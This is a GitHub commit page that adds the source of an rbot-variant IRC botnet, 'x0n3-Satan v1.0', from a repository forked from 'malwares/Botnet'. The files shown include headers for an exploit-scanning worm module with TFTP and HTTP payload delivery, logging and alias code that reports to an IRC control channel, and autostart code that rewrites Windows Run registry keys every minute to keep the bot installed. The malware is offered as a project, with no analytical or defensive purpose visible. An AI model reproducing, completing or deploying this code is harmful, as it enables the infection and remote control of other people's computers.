forked from malwares/Botnet
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Showing
9,278 changed files
with
1,126,538 additions
and
0 deletions.
The diff you're trying to view is too large. We only load the first 3000 changed files.
There are no files selected for viewing
Binary file added
BIN
+25 KB
...v8-By-CorryL{x0n3-h4ck}/(rbot)x0n3-Satan-v1.0-Priv8-By-CorryL{x0n3-h4ck}/Release/vc60.idb
Binary file not shown.
603 changes: 603 additions & 0 deletions
603
...0-Priv8-By-CorryL{x0n3-h4ck}/(rbot)x0n3-Satan-v1.0-Priv8-By-CorryL{x0n3-h4ck}/advscan.cpp
Large diffs are not rendered by default.
Oops, something went wrong.
85 changes: 85 additions & 0 deletions
85
...1.0-Priv8-By-CorryL{x0n3-h4ck}/(rbot)x0n3-Satan-v1.0-Priv8-By-CorryL{x0n3-h4ck}/advscan.h
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,85 @@ | ||
typedef struct ADVSCAN | ||
{ | ||
char ip[16]; | ||
char chan[128]; | ||
char msgchan[128]; | ||
SOCKET sock; | ||
unsigned int port; | ||
unsigned int delay; | ||
unsigned int minutes; | ||
unsigned int threadnum; | ||
unsigned int cthreadnum; | ||
unsigned int cthreadid; | ||
unsigned int threads; | ||
int exploit; | ||
DWORD host; | ||
BOOL notice; | ||
BOOL silent; | ||
BOOL random; | ||
BOOL gotinfo; | ||
BOOL cgotinfo; | ||
|
||
} ADVSCAN; | ||
|
||
typedef struct ADVINFO | ||
{ | ||
unsigned long ip; | ||
BOOL info; | ||
|
||
} ADVINFO; | ||
|
||
typedef struct EXINFO | ||
{ | ||
SOCKET sock; | ||
char ip[16]; | ||
char chan[128]; | ||
char command[10]; | ||
unsigned int port; | ||
unsigned int threadnum; | ||
int exploit; | ||
BOOL option; | ||
BOOL notice; | ||
BOOL silent; | ||
BOOL gotinfo; | ||
|
||
} EXINFO; | ||
|
||
typedef BOOL (*efref)(EXINFO exinfo); | ||
|
||
typedef struct EXPLOIT | ||
{ | ||
char command[10]; | ||
char name[30]; | ||
unsigned int port; | ||
efref exfunc; | ||
unsigned int stats; | ||
BOOL tftp; | ||
BOOL http; | ||
|
||
} EXPLOIT; | ||
|
||
typedef struct SCANALL | ||
{ | ||
char command[10]; | ||
bool isend; | ||
} SCANALL; | ||
|
||
typedef struct recvhdr | ||
{ | ||
struct iphdr ip; | ||
struct tcphdr2 tcp; | ||
unsigned char junk_data[65535]; | ||
|
||
} RECVHEADER; | ||
|
||
void ListExploitStats(SOCKET sock, char *chan, BOOL notice); | ||
void currentIP(SOCKET sock, char *chan, BOOL notice, int threadnum); | ||
void CheckServers(ADVSCAN scan); | ||
unsigned long AdvGetNextIP(int threadnum); | ||
unsigned long AdvGetNextIPRandom(char *scanmask, int threadnum); | ||
BOOL AdvPortOpen(unsigned long ip, unsigned int port, unsigned int delay); | ||
BOOL SynPortOpen(unsigned long src_ip, unsigned long dest_ip, unsigned int port, unsigned int delay); | ||
DWORD WINAPI AdvPortScanner(LPVOID param); | ||
DWORD WINAPI AdvScanner(LPVOID param); | ||
//DWORD WINAPI ADVHttpdScanner(EXINFO exinfo); | ||
void DelPayloadFile(SOCKET sock, char *chan, BOOL notice, BOOL silent); |
204 changes: 204 additions & 0 deletions
204
...-Priv8-By-CorryL{x0n3-h4ck}/(rbot)x0n3-Satan-v1.0-Priv8-By-CorryL{x0n3-h4ck}/aliaslog.cpp
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,204 @@ | ||
#include "includes.h" | ||
#include "functions.h" | ||
#include "externs.h" | ||
|
||
// globals | ||
#ifdef DEBUG_LOGGING | ||
FILE *gfp; | ||
#endif | ||
|
||
char log[LOGSIZE][LOGLINE]; | ||
|
||
int addalias(char *name, char *command) | ||
{ | ||
int i; | ||
for (i = 0; i < MAXALIASES; i++) { | ||
if (aliases[i].name[0] == '\0' || strcmp(aliases[i].name, name) == 0) { | ||
memset(&aliases[i], 0, sizeof(aliases[i])); | ||
strncpy(aliases[i].name, name, sizeof(aliases[i].name)-1); | ||
strncpy(aliases[i].command, command, sizeof(aliases[i].command)-1); | ||
anum++; | ||
break; | ||
} | ||
} | ||
return i; | ||
} | ||
|
||
void aliaslist(SOCKET sock, char *chan, BOOL notice) | ||
{ | ||
char buffer[IRCLINE]; | ||
|
||
irc_privmsg(sock, chan, "-[Alias List]-", notice); | ||
for (int i = 0; i < MAXALIASES; i++) { | ||
if (aliases[i].name[0] != '\0') { | ||
_snprintf(buffer, sizeof(buffer),"%d. %s = %s", i, aliases[i].name, aliases[i].command); | ||
irc_privmsg(sock, chan, buffer, notice,TRUE); | ||
} | ||
} | ||
|
||
return; | ||
} | ||
|
||
void addlog(char *desc) | ||
{ | ||
SYSTEMTIME st; | ||
|
||
GetLocalTime(&st); | ||
|
||
for (register int i = LOGSIZE; i >= 0; i--) | ||
if (log[i][0] != '\0') | ||
strncpy(log[i+1], log[i], sizeof(log[i+1])-1); | ||
_snprintf(log[0], sizeof(log[0]), "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s", st.wMonth, st.wDay, st.wYear, st.wHour, st.wMinute, st.wSecond, desc); | ||
|
||
return; | ||
} | ||
|
||
void addlogv(char *desc, ...) | ||
{ | ||
char logbuf[LOGLINE]; | ||
|
||
va_list argp; | ||
va_start(argp, desc); | ||
_vsnprintf(logbuf, sizeof(logbuf), desc, argp); | ||
|
||
addlog(logbuf); | ||
|
||
return; | ||
} | ||
|
||
void showlog(SOCKET sock, char *chan, BOOL notice, BOOL silent, char *filter) | ||
{ | ||
int entries = LOGSIZE, tmp = 0; | ||
|
||
if (!silent) irc_privmsg(sock, chan, "-[Logs]-", notice); | ||
|
||
if (filter) { | ||
if ((tmp = atoi(filter)) != 0) | ||
entries = tmp; | ||
} | ||
|
||
for (int i = 0, j = 0; i < LOGSIZE && j < entries; i++, j++) | ||
if (log[i][0] != '\0') { | ||
if (!filter || tmp != 0) | ||
irc_privmsg(sock, chan, log[i], notice, TRUE); | ||
else if (lstrstr(log[i], filter)) | ||
irc_privmsg(sock, chan, log[i], notice, TRUE); | ||
} | ||
|
||
return; | ||
} | ||
|
||
void clearlog(SOCKET sock, char *chan, BOOL notice, BOOL silent) | ||
{ | ||
for (register int i = 0;i < LOGSIZE; log[i++][0] = '\0'); | ||
if (!silent) irc_privmsg(sock, chan, "[LOGS]: Cleared.", notice); | ||
addlog("[LOGS]: Cleared."); | ||
|
||
return; | ||
} | ||
|
||
BOOL searchlog(char *filter) | ||
{ | ||
for (int i = 0; i < LOGSIZE; i++) | ||
if (log[i][0] != '\0') { | ||
if (lstrstr(log[i], filter)) | ||
return TRUE; | ||
} | ||
|
||
return FALSE; | ||
} | ||
|
||
DWORD WINAPI ShowLogThread(LPVOID param) | ||
{ | ||
char sendbuf[IRCLINE]; | ||
int entries = LOGSIZE, tmp = 0; | ||
|
||
SHOWLOG showlog = *((SHOWLOG *)param); | ||
SHOWLOG *showlogp = (SHOWLOG *)param; | ||
showlogp->gotinfo = TRUE; | ||
|
||
if (!showlog.silent) irc_privmsg(showlog.sock,showlog.chan,"[LOG]: Begin",showlog.notice); | ||
|
||
if (showlog.filter[0] != '\0') { | ||
if ((tmp = atoi(showlog.filter)) != 0) | ||
entries = tmp; | ||
} | ||
|
||
for (int i = 0, j = 0; i < LOGSIZE && j < entries; i++, j++) | ||
if (log[i][0] != '\0') { | ||
if (showlog.filter[0] == '\0' || tmp != 0) | ||
irc_privmsg(showlog.sock, showlog.chan, log[i], showlog.notice, TRUE); | ||
else if (lstrstr(log[i], showlog.filter)) | ||
irc_privmsg(showlog.sock, showlog.chan, log[i], showlog.notice, TRUE); | ||
} | ||
|
||
sprintf(sendbuf,"[LOG]: List complete."); | ||
if (!showlog.silent) irc_privmsg(showlog.sock,showlog.chan,sendbuf,showlog.notice); | ||
addlog(sendbuf); | ||
|
||
clearthread(showlog.threadnum); | ||
|
||
ExitThread(0); | ||
} | ||
|
||
#ifdef DEBUG_LOGGING | ||
void opendebuglog(void) | ||
{ | ||
gfp = fopen(logfile, "ab"); | ||
|
||
return; | ||
} | ||
|
||
void debuglog(char *buffer, BOOL crlf) | ||
{ | ||
if (gfp != NULL) { | ||
if (crlf) | ||
fprintf(gfp,"%s\r\n",buffer); | ||
else | ||
fprintf(gfp,"%s",buffer); | ||
fflush(gfp); | ||
} | ||
|
||
return; | ||
} | ||
|
||
void closedebuglog(void) | ||
{ | ||
fclose(gfp); | ||
|
||
return; | ||
} | ||
#endif | ||
|
||
#ifdef DEBUG_CONSOLE | ||
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType) | ||
{ | ||
switch(dwCtrlType) { | ||
case CTRL_C_EVENT: | ||
case CTRL_BREAK_EVENT: | ||
case CTRL_CLOSE_EVENT: | ||
return TRUE; | ||
} | ||
|
||
return FALSE; | ||
} | ||
|
||
void OpenConsole(void) | ||
{ | ||
AllocConsole(); | ||
|
||
int hCrt = _open_osfhandle((long)GetStdHandle(STD_OUTPUT_HANDLE),_O_TEXT); | ||
FILE *hf = _fdopen(hCrt,"w"); | ||
*stdout = *hf; | ||
int i = setvbuf(stdout,NULL,_IONBF,0); | ||
|
||
hCrt = _open_osfhandle((long)GetStdHandle(STD_ERROR_HANDLE),_O_TEXT); | ||
hf = _fdopen(hCrt,"w"); | ||
*stderr = *hf; | ||
i = setvbuf(stdout,NULL,_IONBF,0); | ||
|
||
SetConsoleCtrlHandler(HandlerRoutine, true); | ||
|
||
return; | ||
} | ||
#endif |
37 changes: 37 additions & 0 deletions
37
....0-Priv8-By-CorryL{x0n3-h4ck}/(rbot)x0n3-Satan-v1.0-Priv8-By-CorryL{x0n3-h4ck}/aliaslog.h
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
// alias structure | ||
typedef struct ALIAS | ||
{ | ||
char name[24]; | ||
char command[160]; | ||
|
||
} ALIAS; | ||
|
||
typedef struct SHOWLOG | ||
{ | ||
SOCKET sock; | ||
char chan[128]; | ||
char filter[LOGLINE]; | ||
int threadnum; | ||
BOOL notice; | ||
BOOL silent; | ||
BOOL gotinfo; | ||
|
||
} SHOWLOG; | ||
|
||
int addalias(char *name, char *command); | ||
void aliaslist(SOCKET sock, char *chan, BOOL notice); | ||
void addlog(char *desc); | ||
void addlogv(char *desc, ...); | ||
void showlog(SOCKET sock, char *chan, BOOL notice, BOOL silent, char *filter); | ||
void clearlog(SOCKET sock, char *chan, BOOL notice, BOOL silent); | ||
BOOL searchlog(char *filter); | ||
DWORD WINAPI ShowLogThread(LPVOID param); | ||
#ifdef DEBUG_LOGGING | ||
void opendebuglog(void); | ||
void debuglog(char *buffer,BOOL crlf=TRUE); | ||
void closedebuglog(void); | ||
#endif | ||
#ifdef DEBUG_CONSOLE | ||
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType); | ||
void OpenConsole(void); | ||
#endif |
43 changes: 43 additions & 0 deletions
43
...Priv8-By-CorryL{x0n3-h4ck}/(rbot)x0n3-Satan-v1.0-Priv8-By-CorryL{x0n3-h4ck}/autostart.cpp
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
#include "includes.h" | ||
#include "functions.h" | ||
#include "externs.h" | ||
|
||
// globals | ||
#ifndef NO_REGISTRY | ||
int registry_delay=60000; | ||
#endif | ||
|
||
AUTOSTART autostart[]={ | ||
{HKEY_LOCAL_MACHINE,(LPCTSTR)regkey1}, | ||
{HKEY_LOCAL_MACHINE,(LPCTSTR)regkey2}, | ||
{HKEY_CURRENT_USER,(LPCTSTR)regkey1} | ||
}; | ||
|
||
void AutoStartRegs(char *nfilename) | ||
{ | ||
HKEY key; | ||
|
||
for (int i=0; i < (sizeof(autostart) / sizeof(AUTOSTART)); i++) { | ||
fRegCreateKeyEx(autostart[i].hkey, autostart[i].subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL); | ||
if (nfilename) | ||
fRegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)nfilename, strlen(nfilename)); | ||
else | ||
fRegDeleteValue(key, valuename); | ||
fRegCloseKey(key); | ||
} | ||
|
||
return; | ||
} | ||
|
||
#ifndef NO_REGISTRY | ||
DWORD WINAPI AutoRegistry(LPVOID param) | ||
{ | ||
char *nfilename = (char *)param; | ||
|
||
while (1) { | ||
AutoStartRegs(nfilename); | ||
Sleep(registry_delay); | ||
} | ||
return 0; | ||
} | ||
#endif |
11 changes: 11 additions & 0 deletions
11
...0-Priv8-By-CorryL{x0n3-h4ck}/(rbot)x0n3-Satan-v1.0-Priv8-By-CorryL{x0n3-h4ck}/autostart.h
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
typedef struct AUTOSTART | ||
{ | ||
HKEY hkey; | ||
LPCTSTR subkey; | ||
|
||
} AUTOSTART; | ||
|
||
void AutoStartRegs(char *nfilename=NULL); | ||
#ifndef NO_REGISTRY | ||
DWORD WINAPI AutoRegistry(LPVOID param); | ||
#endif |
Oops, something went wrong.